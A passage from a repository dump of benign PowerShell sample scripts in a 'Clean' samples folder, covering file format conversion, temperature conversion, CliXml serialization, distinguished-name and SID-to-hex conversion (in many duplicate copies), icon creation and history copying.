$bounceAddress -Replace "\\+","%" 30 | $bounceAddress = $bounceAddress -Replace "_O=","/O=" 31 | $bounceAddress = $bounceAddress -Replace "_OU=","/OU=" 32 | $bounceAddress = $bounceAddress -Replace "_CN=","/CN=" 33 | 34 | if([Web.HttpUtility]::UrlDecode($bounceAddress) -match "(/o=.*)@[\\w\\d.]+$"){$matches[1]} 35 | } 36 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Convert-CBZ2CBR.ps1: -------------------------------------------------------------------------------- 1 | ########################################################################### 2 | # 3 | # NAME: Convert-CBZ2CBR.ps1 4 | # 5 | # AUTHOR: Neiljmorrow 6 | # EMAIL: Neiljmorrow@gmail.com 7 | # 8 | # NOTE: Written to use command line version of 7zip (http://7zip.com) 9 | # from the default install location. Please modify the path below 10 | # if necessary. 11 | # 12 | # COMMENT: 13 | # 14 | # You have a royalty-free right to use, modify, reproduce, and 15 | # distribute this script file in any way you find useful, provided that 16 | # you agree that the creator, owner above has no warranty, obligations, 17 | # or liability for such use. 18 | # 19 | # VERSION HISTORY: 20 | # 1.0 1/24/2009 - Initial release 21 | # 22 | ########################################################################### 23 | 24 | #set alias to command line version of 7zip 25 | set-alias cbrzip "c:\\program files\\7-zip\\7z.exe" 26 | 27 | #find all files in the immediate directory 28 | dir "*.cbz" | foreach-object{ 29 | 30 | #Make a copy and rename as zip 31 | copy-item $_.name ($_.basename + ".zip") 32 | 33 | #unzip the file to a "temp" directory 34 | cbrzip -oTemp x ($_.basename + ".zip") 35 | 36 | #remove the zip file 37 | remove-item ($_.basename + ".zip") 38 | 39 | #rar the contents of the "temp" directory 40 | cbrzip a ($_.basename + ".rar") "temp" 41 | 42 | #remove the "temp" directory 43 | remove-item -r "temp" 44 | 45 | #rename the rar file to cbr 46 | rename-item ($_.basename + ".rar") ($_.basename + ".cbr") 47 | } 48 | 49 | #remove 7zip alias 50 | remove-item alias:cbrzip 51 | 52 | 53 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ConvertFrom-FahrenheitWi.ps1: -------------------------------------------------------------------------------- 1 | ## From Windows PowerShell Cookbook (O'Reilly)\n## by Lee Holmes (http://www.leeholmes.com/guide)\n\nparam([double] $Fahrenheit)\n\nSet-StrictMode -Version Latest\n\n## Convert Fahrenheit to Celsius\nfunction ConvertFahrenheitToCelsius([double] $fahrenheit)\n{\n $celsius = $fahrenheit - 32\n $celsius = $celsius / 1.8\n $celsius\n}\n\n$celsius = ConvertFahrenheitToCelsius $fahrenheit\n\n## Output the answer\n"$fahrenheit degrees Fahrenheit is $celsius degrees Celsius." 2 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ConvertFrom-FahrenheitWi_1.ps1: -------------------------------------------------------------------------------- 1 | ## From Windows PowerShell Cookbook (O'Reilly)\n## by Lee Holmes (http://www.leeholmes.com/guide)\n\nparam([double] $Fahrenheit)\n\nSet-StrictMode -Version Latest\n\n## Convert it to Celsius\n$celsius = $fahrenheit - 32\n$celsius = $celsius / 1.8\n\n## Output the answer\n"$fahrenheit degrees Fahrenheit is $celsius degrees Celsius." 2 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ConvertFrom-FahrenheitWi_2.ps1: -------------------------------------------------------------------------------- 1 | ## From Windows PowerShell Cookbook (O'Reilly) 2 | ## by Lee Holmes (http://www.leeholmes.com/guide) 3 | 4 | param([double] $Fahrenheit) 5 | 6 | Set-StrictMode -Version Latest 7 | 8 | ## Convert Fahrenheit to Celsius 9 | function ConvertFahrenheitToCelsius([double] $fahrenheit) 10 | { 11 | $celsius = $fahrenheit - 32 12 | $celsius = $celsius / 1.8 13 | $celsius 14 | } 15 | 16 | $celsius = ConvertFahrenheitToCelsius $fahrenheit 17 | 18 | ## Output the answer 19 | "$fahrenheit degrees Fahrenheit is $celsius degrees Celsius." 20 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ConvertTo-CliXml.ps1: -------------------------------------------------------------------------------- 1 | function ConvertTo-CliXml { 2 | param( 3 | [parameter(position=0,mandatory=$true,valuefrompipeline=$true)] 4 | [validatenotnull()] 5 | [psobject]$object 6 | ) 7 | begin { 8 | $type = [type]::gettype("System.Management.Automation.Serializer") 9 | $ctor = $type.getconstructor("instance,nonpublic", $null, @([xml.xmlwriter]), $null) 10 | $sw = new-object io.stringwriter 11 | $xw = new-object xml.xmltextwriter $sw 12 | $serializer = $ctor.invoke($xw) 13 | $method = $type.getmethod("Serialize", "nonpublic,instance", $null, [type[]]@([object]), $null) 14 | $done = $type.getmethod("Done", [reflection.bindingflags]"nonpublic,instance") 15 | } 16 | process { 17 | try { 18 | $method.invoke($serializer, $object) 19 | } catch { 20 | write-warning "Could not serialize $($object.gettype()): $_" 21 | } 22 | } 23 | end { 24 | $done.invoke($serializer, @()) 25 | $sw.ToString() 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ConvertTo-CliXml_1.ps1: -------------------------------------------------------------------------------- 1 | function ConvertTo-CliXml { 2 | param( 3 | [parameter(position=0,mandatory=$true,valuefrompipeline=$true)] 4 | [validatenotnull()] 5 | [psobject]$object 6 | ) 7 | begin { 8 | $type = [type]::gettype("System.Management.Automation.Serializer") 9 | $ctor = $type.getconstructor("instance,nonpublic", $null, @([xml.xmlwriter]), $null) 10 | $sw = new-object io.stringwriter 11 | $xw = new-object xml.xmltextwriter $sw 12 | $serializer = $ctor.invoke($xw) 13 | $method = $type.getmethod("Serialize", "nonpublic,instance", $null, [type[]]@([object]), $null) 14 | $done = $type.getmethod("Done", [reflection.bindingflags]"nonpublic,instance") 15 | } 16 | process { 17 | try { 18 | [void]$method.invoke($serializer, $object) 19 | } catch { 20 | write-warning "Could not serialize $($object.gettype()): $_" 21 | } 22 | } 23 | end { 24 | [void]$done.invoke($serializer, @()) 25 | $sw.ToString() 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ConvertTo-CliXml_2.ps1: -------------------------------------------------------------------------------- 1 | #requires -version 2.0 2 | function ConvertTo-CliXml { 3 | param( 4 | [Parameter(Position=0, Mandatory=$true, ValueFromPipeline=$true)] 5 | [ValidateNotNullOrEmpty()] 6 | [PSObject[]]$InputObject 7 | ) 8 | begin { 9 | $type = [type]::gettype("System.Management.Automation.Serializer") 10 | $ctor = $type.getconstructor("instance,nonpublic", $null, @([System.Xml.XmlWriter]), $null) 11 | $sw = new-object System.IO.StringWriter 12 | $xw = new-object System.Xml.XmlTextWriter $sw 13 | $serializer = $ctor.invoke($xw) 14 | $method = $type.getmethod("Serialize", "nonpublic,instance", $null, [type[]]@([object]), $null) 15 | $done = $type.getmethod("Done", [System.Reflection.BindingFlags]"nonpublic,instance") 16 | } 17 | process { 18 | try { 19 | [void]$method.invoke($serializer, $InputObject) 20 | } catch { 21 | write-warning "Could not serialize $($InputObject.gettype()): $_" 22 | } 23 | } 24 | end { 25 | [void]$done.invoke($serializer, @()) 26 | $sw.ToString() 27 | $xw.Close() 28 | $sw.Dispose() 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ConvertTo-CliXml_3.ps1: -------------------------------------------------------------------------------- 1 | #requires -version 2.0 2 | function ConvertTo-CliXml { 3 | param( 4 | [Parameter(Position=0, Mandatory=$true, ValueFromPipeline=$true)] 5 | [ValidateNotNullOrEmpty()] 6 | [PSObject[]]$InputObject 7 | ) 8 | begin { 9 | $type = [PSObject].Assembly.GetType('System.Management.Automation.Serializer') 10 | $ctor = $type.GetConstructor('instance,nonpublic', $null, @([System.Xml.XmlWriter]), $null) 11 | $sw = New-Object System.IO.StringWriter 12 | $xw = New-Object System.Xml.XmlTextWriter $sw 13 | $serializer = $ctor.Invoke($xw) 14 | $method = $type.GetMethod('Serialize', 'nonpublic,instance', $null, [type[]]@([object]), $null) 15 | $done = $type.GetMethod('Done', [System.Reflection.BindingFlags]'nonpublic,instance') 16 | } 17 | process { 18 | try { 19 | [void]$method.Invoke($serializer, $InputObject) 20 | } catch { 21 | Write-Warning "Could not serialize $($InputObject.GetType()): $_" 22 | } 23 | } 24 | end { 25 | [void]$done.Invoke($serializer, @()) 26 | $sw.ToString() 27 | $xw.Close() 28 | $sw.Dispose() 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ConvertTo-DN.ps1: -------------------------------------------------------------------------------- 1 | #Author: Glenn Sizemore glnsize@get-admin.com 2 | # 3 | #Purpose: Convert a DN to a conicalname, and back again. 4 | # 5 | #Example: PS > ConvertFrom-Canonical 'get-admin.local/test/test1/Sizemore, Glenn E' 6 | # CN=Sizemore\\, Glenn E,OU=test1,OU=test,DC=getadmin,DC=local 7 | # PS > ConvertFrom-DN 'CN=Sizemore\\, Glenn E,OU=test1,OU=test,DC=getadmin,DC=local' 8 | # get-admin.local/test/test1/Sizemore, Glenn E 9 | 10 | 11 | function ConvertFrom-DN 12 | { 13 | param([string]$DN=(Throw '$DN is required!')) 14 | foreach ( $item in ($DN.replace('\\,','~').split(","))) 15 | { 16 | switch -regex ($item.TrimStart().Substring(0,3)) 17 | { 18 | "CN=" {$CN = '/' + $item.replace("CN=","");continue} 19 | "OU=" {$ou += ,$item.replace("OU=","");$ou += '/';continue} 20 | "DC=" {$DC += $item.replace("DC=","");$DC += '.';continue} 21 | } 22 | } 23 | $canoincal = $dc.Substring(0,$dc.length - 1) 24 | for ($i = $ou.count;$i -ge 0;$i -- ){$canoincal += $ou[$i]} 25 | $canoincal += $cn.ToString().replace('~',',') 26 | return $canoincal 27 | } 28 | 29 | function ConvertFrom-Canonical 30 | { 31 | param([string]$canoincal=(trow '$Canonical is required!')) 32 | $obj = $canoincal.Replace(',','\\,').Split('/') 33 | [string]$DN = "CN=" + $obj[$obj.count - 1] 34 | for ($i = $obj.count - 2;$i -ge 1;$i--){$DN += ",OU=" + $obj[$i]} 35 | $obj[0].split(".") | ForEach-Object { $DN += ",DC=" + $_} 36 | return $dn 37 | } 38 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ConvertTo-DN_1.ps1: -------------------------------------------------------------------------------- 1 | #Author: Glenn Sizemore glnsize@get-admin.com 2 | # 3 | #Purpose: Convert a DN to a Canonical name, and back again. 4 | # 5 | #Example: PS > ConvertFrom-Canonical 'get-admin.local/test/test1/Sizemore, Glenn E' 6 | # CN=Sizemore\\, Glenn E,OU=test1,OU=test,DC=getadmin,DC=local 7 | # PS > ConvertFrom-DN 'CN=Sizemore\\, Glenn E,OU=test1,OU=test,DC=getadmin,DC=local' 8 | # get-admin.local/test/test1/Sizemore, Glenn E 9 | 10 | 11 | function ConvertFrom-DN 12 | { 13 | param([string]$DN=(Throw '$DN is required!')) 14 | foreach ( $item in ($DN.replace('\\,','~').split(","))) 15 | { 16 | switch -regex ($item.TrimStart().Substring(0,3)) 17 | { 18 | "CN=" {$CN = '/' + $item.replace("CN=","");continue} 19 | "OU=" {$ou += ,$item.replace("OU=","");$ou += '/';continue} 20 | "DC=" {$DC += $item.replace("DC=","");$DC += '.';continue} 21 | } 22 | } 23 | $canoincal = $dc.Substring(0,$dc.length - 1) 24 | for ($i = $ou.count;$i -ge 0;$i -- ){$canoincal += $ou[$i]} 25 | $canoincal += $cn.ToString().replace('~',',') 26 | return $canoincal 27 | } 28 | 29 | function ConvertFrom-Canonical 30 | { 31 | param([string]$canoincal=(trow '$Canonical is required!')) 32 | $obj = $canoincal.Replace(',','\\,').Split('/') 33 | [string]$DN = "CN=" + $obj[$obj.count - 1] 34 | for ($i = $obj.count - 2;$i -ge 1;$i--){$DN += ",OU=" + $obj[$i]} 35 | $obj[0].split(".") | ForEach-Object { $DN += ",DC=" + $_} 36 | return $dn 37 | } 38 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ConvertTo-Function.ps1: -------------------------------------------------------------------------------- 1 | ## ConvertTo-Function 2 | ## By Steven Murawski (http://www.mindofroot.com / http://blog.usepowershell.com) 3 | ################################################################################################### 4 | ## Usage: 5 | ## ./ConvertTo-Function Get-Server.ps1 6 | ## dir *.ps1 | ./convertto-Function 7 | ################################################################################################### 8 | param ($filename) 9 | 10 | PROCESS 11 | { 12 | if ($_ -ne $Null) 13 | { 14 | $filename = $_ 15 | } 16 | 17 | if ($filename -is [System.IO.FileInfo]) 18 | { 19 | $filename = $filename.Name 20 | } 21 | 22 | if (Test-Path $filename) 23 | { 24 | 25 | $name = (Resolve-Path $filename | Split-Path -Leaf) -replace '\\.ps1' 26 | 27 | $scriptblock = get-content $filename | Out-String 28 | 29 | if (Test-Path function:global:$name) 30 | { 31 | Set-Item -Path function:global:$name -Value $scriptblock 32 | Get-Item -Path function:global:$name 33 | } 34 | else 35 | { 36 | New-Item -Path function:global:$name -Value $scriptblock 37 | } 38 | } 39 | else 40 | { 41 | throw 'Either a valid path or a FileInfo object' 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ConvertTo-GoogleChartNum.ps1: -------------------------------------------------------------------------------- 1 | ## Google Chart API extended value encoding function 2 | ######################################################################### 3 | #function ConvertTo-GoogleChartNum{ 4 | BEGIN { 5 | ## Google's odydecody is a 64 character array 6 | $ody = "A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9","-","." 7 | 8 | ## The actual filter function 9 | filter encode { 10 | # we have a hard-coded "overflow" value 11 | if($_ -ge ($ody.Count * $ody.Count) ) { return "__" } 12 | $y = -1 # $y is a ref variable, so it has to be defined 13 | $x = [Math]::DivRem( $_, $ody.Count, [ref]$y ) 14 | return "$($ody[$x])$($ody[$y])" 15 | } 16 | ## Handle numbers as parameters 17 | [int[]]$nums = $args | % { [int]$_ } 18 | } 19 | ## Or handle numbers from the pipeline. We don't care :-) 20 | PROCESS { 21 | if($_ -ne $null) { $nums += $_ } 22 | } 23 | #} 24 | 25 | END { 26 | $diff = ($nums | sort | select -last 1) / ($ody.Count * $ody.Count -1) 27 | $nums | %{$_/$diff} | encode 28 | } 29 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ConvertTo-Hashtable.ps1: -------------------------------------------------------------------------------- 1 | Param([Parameter(ValueFromPipeline=$true)]$object,[switch]$AsString,[switch]$jagged) 2 | BEGIN { $headers = @() } 3 | PROCESS { 4 | if(!$headers -or $jagged) { 5 | $headers = $object | get-member -type Properties | select -expand name 6 | } 7 | $output = @{} 8 | if($AsString) { 9 | foreach($col in $headers) { 10 | $output.$col = $object.$col | out-string -Width 9999 | % { $_.Trim() } 11 | } 12 | } else { 13 | foreach($col in $headers) { 14 | $output.$col = $object.$col 15 | } 16 | } 17 | $output 18 | } 19 | 20 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ConvertTo-Hex.ps1: -------------------------------------------------------------------------------- 1 | # Ported from C# technique found here: http://forums.asp.net/p/1298956/2529558.aspx 2 | param ( [string]$SidString ) 3 | 4 | # Create SID .NET object using SID string provided 5 | $sid = New-Object system.Security.Principal.SecurityIdentifier $sidstring 6 | 7 | # Create a byte array of the proper length 8 | $sidBytes = New-Object byte[] $sid.BinaryLength 9 | 10 | #Convert to bytes 11 | $sid.GetBinaryForm( $sidBytes, 0 ) 12 | 13 | # Iterate through bytes, converting each to the hexidecimal equivalent 14 | $hexArr = $sidBytes | ForEach-Object { $_.ToString("X2") } 15 | 16 | # Join the hex array into a single string for output 17 | $hexArr -join '' 18 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ConvertTo-Hex_1.ps1: -------------------------------------------------------------------------------- 1 | # Ported from C# technique found here: http://forums.asp.net/p/1298956/2529558.aspx 2 | param ( [string]$SidString ) 3 | 4 | # Create SID .NET object using SID string provided 5 | $sid = New-Object system.Security.Principal.SecurityIdentifier $sidstring 6 | 7 | # Create a byte array of the proper length 8 | $sidBytes = New-Object byte[] $sid.BinaryLength 9 | 10 | #Convert to bytes 11 | $sid.GetBinaryForm( $sidBytes, 0 ) 12 | 13 | # Iterate through bytes, converting each to the hexidecimal equivalent 14 | $hexArr = $sidBytes | ForEach-Object { $_.ToString("X2") } 15 | 16 | # Join the hex array into a single string for output 17 | $hexArr -join '' 18 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ConvertTo-Hex_10.ps1: -------------------------------------------------------------------------------- 1 | # Ported from C# technique found here: http://forums.asp.net/p/1298956/2529558.aspx 2 | param ( [string]$SidString ) 3 | 4 | # Create SID .NET object using SID string provided 5 | $sid = New-Object system.Security.Principal.SecurityIdentifier $sidstring 6 | 7 | # Create a byte array of the proper length 8 | $sidBytes = New-Object byte[] $sid.BinaryLength 9 | 10 | #Convert to bytes 11 | $sid.GetBinaryForm( $sidBytes, 0 ) 12 | 13 | # Iterate through bytes, converting each to the hexidecimal equivalent 14 | $hexArr = $sidBytes | ForEach-Object { $_.ToString("X2") } 15 | 16 | # Join the hex array into a single string for output 17 | $hexArr -join '' 18 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ConvertTo-Hex_11.ps1: -------------------------------------------------------------------------------- 1 | # Ported from C# technique found here: http://forums.asp.net/p/1298956/2529558.aspx 2 | param ( [string]$SidString ) 3 | 4 | # Create SID .NET object using SID string provided 5 | $sid = New-Object system.Security.Principal.SecurityIdentifier $sidstring 6 | 7 | # Create a byte array of the proper length 8 | $sidBytes = New-Object byte[] $sid.BinaryLength 9 | 10 | #Convert to bytes 11 | $sid.GetBinaryForm( $sidBytes, 0 ) 12 | 13 | # Iterate through bytes, converting each to the hexidecimal equivalent 14 | $hexArr = $sidBytes | ForEach-Object { $_.ToString("X2") } 15 | 16 | # Join the hex array into a single string for output 17 | $hexArr -join '' 18 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ConvertTo-Hex_2.ps1: -------------------------------------------------------------------------------- 1 | # Ported from C# technique found here: http://forums.asp.net/p/1298956/2529558.aspx 2 | param ( [string]$SidString ) 3 | 4 | # Create SID .NET object using SID string provided 5 | $sid = New-Object system.Security.Principal.SecurityIdentifier $sidstring 6 | 7 | # Create a byte array of the proper length 8 | $sidBytes = New-Object byte[] $sid.BinaryLength 9 | 10 | #Convert to bytes 11 | $sid.GetBinaryForm( $sidBytes, 0 ) 12 | 13 | # Iterate through bytes, converting each to the hexidecimal equivalent 14 | $hexArr = $sidBytes | ForEach-Object { $_.ToString("X2") } 15 | 16 | # Join the hex array into a single string for output 17 | $hexArr -join '' 18 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ConvertTo-Hex_3.ps1: -------------------------------------------------------------------------------- 1 | # Ported from C# technique found here: http://forums.asp.net/p/1298956/2529558.aspx 2 | param ( [string]$SidString ) 3 | 4 | # Create SID .NET object using SID string provided 5 | $sid = New-Object system.Security.Principal.SecurityIdentifier $sidstring 6 | 7 | # Create a byte array of the proper length 8 | $sidBytes = New-Object byte[] $sid.BinaryLength 9 | 10 | #Convert to bytes 11 | $sid.GetBinaryForm( $sidBytes, 0 ) 12 | 13 | # Iterate through bytes, converting each to the hexidecimal equivalent 14 | $hexArr = $sidBytes | ForEach-Object { $_.ToString("X2") } 15 | 16 | # Join the hex array into a single string for output 17 | $hexArr -join '' 18 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ConvertTo-Hex_4.ps1: -------------------------------------------------------------------------------- 1 | # Ported from C# technique found here: http://forums.asp.net/p/1298956/2529558.aspx 2 | param ( [string]$SidString ) 3 | 4 | # Create SID .NET object using SID string provided 5 | $sid = New-Object system.Security.Principal.SecurityIdentifier $sidstring 6 | 7 | # Create a byte array of the proper length 8 | $sidBytes = New-Object byte[] $sid.BinaryLength 9 | 10 | #Convert to bytes 11 | $sid.GetBinaryForm( $sidBytes, 0 ) 12 | 13 | # Iterate through bytes, converting each to the hexidecimal equivalent 14 | $hexArr = $sidBytes | ForEach-Object { $_.ToString("X2") } 15 | 16 | # Join the hex array into a single string for output 17 | $hexArr -join '' 18 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ConvertTo-Hex_5.ps1: -------------------------------------------------------------------------------- 1 | # Ported from C# technique found here: http://forums.asp.net/p/1298956/2529558.aspx 2 | param ( [string]$SidString ) 3 | 4 | # Create SID .NET object using SID string provided 5 | $sid = New-Object system.Security.Principal.SecurityIdentifier $sidstring 6 | 7 | # Create a byte array of the proper length 8 | $sidBytes = New-Object byte[] $sid.BinaryLength 9 | 10 | #Convert to bytes 11 | $sid.GetBinaryForm( $sidBytes, 0 ) 12 | 13 | # Iterate through bytes, converting each to the hexidecimal equivalent 14 | $hexArr = $sidBytes | ForEach-Object { $_.ToString("X2") } 15 | 16 | # Join the hex array into a single string for output 17 | $hexArr -join '' 18 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ConvertTo-Hex_6.ps1: -------------------------------------------------------------------------------- 1 | # Ported from C# technique found here: http://forums.asp.net/p/1298956/2529558.aspx 2 | param ( [string]$SidString ) 3 | 4 | # Create SID .NET object using SID string provided 5 | $sid = New-Object system.Security.Principal.SecurityIdentifier $sidstring 6 | 7 | # Create a byte array of the proper length 8 | $sidBytes = New-Object byte[] $sid.BinaryLength 9 | 10 | #Convert to bytes 11 | $sid.GetBinaryForm( $sidBytes, 0 ) 12 | 13 | # Iterate through bytes, converting each to the hexidecimal equivalent 14 | $hexArr = $sidBytes | ForEach-Object { $_.ToString("X2") } 15 | 16 | # Join the hex array into a single string for output 17 | $hexArr -join '' 18 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ConvertTo-Hex_7.ps1: -------------------------------------------------------------------------------- 1 | # Ported from C# technique found here: http://forums.asp.net/p/1298956/2529558.aspx 2 | param ( [string]$SidString ) 3 | 4 | # Create SID .NET object using SID string provided 5 | $sid = New-Object system.Security.Principal.SecurityIdentifier $sidstring 6 | 7 | # Create a byte array of the proper length 8 | $sidBytes = New-Object byte[] $sid.BinaryLength 9 | 10 | #Convert to bytes 11 | $sid.GetBinaryForm( $sidBytes, 0 ) 12 | 13 | # Iterate through bytes, converting each to the hexidecimal equivalent 14 | $hexArr = $sidBytes | ForEach-Object { $_.ToString("X2") } 15 | 16 | # Join the hex array into a single string for output 17 | $hexArr -join '' 18 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ConvertTo-Hex_8.ps1: -------------------------------------------------------------------------------- 1 | # Ported from C# technique found here: http://forums.asp.net/p/1298956/2529558.aspx 2 | param ( [string]$SidString ) 3 | 4 | # Create SID .NET object using SID string provided 5 | $sid = New-Object system.Security.Principal.SecurityIdentifier $sidstring 6 | 7 | # Create a byte array of the proper length 8 | $sidBytes = New-Object byte[] $sid.BinaryLength 9 | 10 | #Convert to bytes 11 | $sid.GetBinaryForm( $sidBytes, 0 ) 12 | 13 | # Iterate through bytes, converting each to the hexidecimal equivalent 14 | $hexArr = $sidBytes | ForEach-Object { $_.ToString("X2") } 15 | 16 | # Join the hex array into a single string for output 17 | $hexArr -join '' 18 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ConvertTo-Hex_9.ps1: -------------------------------------------------------------------------------- 1 | # Ported from C# technique found here: http://forums.asp.net/p/1298956/2529558.aspx 2 | param ( [string]$SidString ) 3 | 4 | # Create SID .NET object using SID string provided 5 | $sid = New-Object system.Security.Principal.SecurityIdentifier $sidstring 6 | 7 | # Create a byte array of the proper length 8 | $sidBytes = New-Object byte[] $sid.BinaryLength 9 | 10 | #Convert to bytes 11 | $sid.GetBinaryForm( $sidBytes, 0 ) 12 | 13 | # Iterate through bytes, converting each to the hexidecimal equivalent 14 | $hexArr = $sidBytes | ForEach-Object { $_.ToString("X2") } 15 | 16 | # Join the hex array into a single string for output 17 | $hexArr -join '' 18 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ConvertTo-Icon.ps1: -------------------------------------------------------------------------------- 1 | [Reflection.Assembly]::LoadWithPartialName("System.Drawing") | Out-Null 2 | 3 | #Version History 4 | #v1.0 - Chad Miller - Initial release 5 | #Converts Image Files to icon files 6 | #Adapted from WinForm C# code by Haresh Ambaliya 7 | #http://code.msdn.microsoft.com/Convert-Image-file-to-Icon-c927d9f7 8 | 9 | 10 | function ConvertTo-Icon 11 | { 12 | [cmdletbinding()] 13 | param([Parameter(Mandatory=$true, ValueFromPipeline = $true)] $Path) 14 | 15 | process{ 16 | if ($Path -is [string]) 17 | { $Path = get-childitem $Path } 18 | 19 | $Path | foreach { 20 | $image = [System.Drawing.Image]::FromFile($($_.FullName)) 21 | 22 | $FilePath = "{0}\\{1}.ico" -f $($_.DirectoryName), $($_.BaseName) 23 | $stream = [System.IO.File]::OpenWrite($FilePath) 24 | 25 | $bitmap = new-object System.Drawing.Bitmap $image 26 | $bitmap.SetResolution(72,72) 27 | $icon = [System.Drawing.Icon]::FromHandle($bitmap.GetHicon()) 28 | $icon.Save($stream) 29 | $stream.Close() 30 | } 31 | } 32 | 33 | } 34 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ConvertToStringData.ps1: -------------------------------------------------------------------------------- 1 | function ConvertTo-StringData 2 | { 3 | Begin 4 | { 5 | $string = "@{`n" 6 | function Expand-Value 7 | { 8 | param($value) 9 | 10 | if ($value -ne $null) { 11 | switch ($value.GetType().Name) 12 | { 13 | 'String' { "`"$value`"" } 14 | 'Boolean' { "`$$value" } 15 | default { $value } 16 | } 17 | } 18 | else 19 | { "`$null" } 20 | 21 | } 22 | } 23 | Process 24 | { 25 | $string += $_.GetEnumerator() | foreach {"{0} = {1}`n" -f $_.Name,(Expand-Value $_.Value)} 26 | } 27 | End 28 | { 29 | $string += "}" 30 | Write-Output $string 31 | } 32 | 33 | } #ConvertTo-StringData 34 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Copy-File (Safely).ps1: -------------------------------------------------------------------------------- 1 | function Copy-File { 2 | #.Synopsis 3 | # Copies all files and folders in $source folder to $destination folder, but with .copy inserted before the extension if the file already exists 4 | param($source,$destination) 5 | 6 | # create destination if it's not there ... 7 | mkdir $destination -force -erroraction SilentlyContinue 8 | 9 | foreach($original in ls $source -recurse) { 10 | $result = $original.FullName.Replace($source,$destination) 11 | while(test-path $result -type leaf){ $result = [IO.Path]::ChangeExtension($result,"copy$([IO.Path]::GetExtension($result))") } 12 | 13 | if($original.PSIsContainer) { 14 | mkdir $result -ErrorAction SilentlyContinue 15 | } else { 16 | copy $original.FullName -destination $result 17 | } 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Copy-FilePlus.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | Copies a file from one location to another while displaying a GUI progress window. 4 | .PARAMETER Path 5 | Specifies the filename or FileInfo object representing file to be copied. Right now, this must be fully-qualified, relative paths will produce an error. Try it with Get-Item or Get-ChildItem, this works great. 6 | .PARAMETER Destination 7 | Specifies the filename including path for resulting copy operation. 8 | .EXAMPLE 9 | PS > Copy-FilePlus -Path c:\\tmp\\windows7.iso -Destination e:\\tmp\\windows7.iso 10 | .EXAMPLE 11 | PS > Get-Item c:\\tmp\\windows7.iso | Copy-FilePlus -Destination e:\\tmp\\windows7.iso 12 | #> 13 | #requires -version 2 14 | param ( 15 | [Parameter( 16 | Mandatory = $true, 17 | ValueFromPipeline = $true 18 | )]$Path, 19 | [Parameter(Mandatory=$true)] 20 | [string] 21 | $Destination 22 | ) 23 | try { 24 | add-type -a microsoft.visualbasic 25 | [Microsoft.VisualBasic.FileIO.FileSystem]::CopyFile( 26 | $Path, 27 | $Destination, 28 | [Microsoft.VisualBasic.FileIO.UIOption]::AllDialogs, 29 | [Microsoft.VisualBasic.FileIO.UICancelOption]::ThrowException 30 | ) 31 | } catch { $_ } 32 | 33 | 34 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Copy-History.ps1: -------------------------------------------------------------------------------- 1 | ##############################################################################\n##\n## Copy-History\n##\n## From Windows PowerShell Cookbook (O'Reilly)\n## by Lee Holmes (http://www.leeholmes.com/guide)\n##\n##############################################################################\n\n<#\n\n.SYNOPSIS\n\nCopy selected commands from the history buffer into the clipboard as a script.\n\n.EXAMPLE\n\nCopy-History\nCopies the entire contents of the history buffer into the clipboard.\n\n.EXAMPLE\n\nCopy-History -5\nCopies the last five commands into the clipboard.\n\n.EXAMPLE\n\nCopy-History 2,5,8,4\nCopies commands 2,5,8, and 4.\n\n.EXAMPLE\n\nCopy-History (1..10+5+6)\nCopies commands 1 through 10, then 5, then 6, using PowerShell's array\nslicing syntax.\n\n#>\n\nparam(\n ## The range of history IDs to copy\n [int[]] $Range\n)\n\nSet-StrictMode -Version Latest\n\n$history = @()\n\n## If they haven't specified a range, assume it's everything\nif((-not $range) -or ($range.Count -eq 0))\n{\n $history = @(Get-History -Count ([Int16]::MaxValue))\n}\n## If it's a negative number, copy only that many\nelseif(($range.Count -eq 1) -and ($range[0] -lt 0))\n{\n $count = [Math]::Abs($range[0])\n $history = (Get-History -Count $count)\n}\n## Otherwise, go through each history ID in the given range\n## and add it to our history list.\nelse\n{\n foreach($commandId in $range)\n {\n if($commandId -eq -1) { $history += Get-History -Count 1 }\n else { $history += Get-History -Id $commandId }\n }\n}\n\n## Finally, export the history to the clipboard.\n$history | Foreach-Object { $_.CommandLine } | clip.exe 2 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Copy-Item 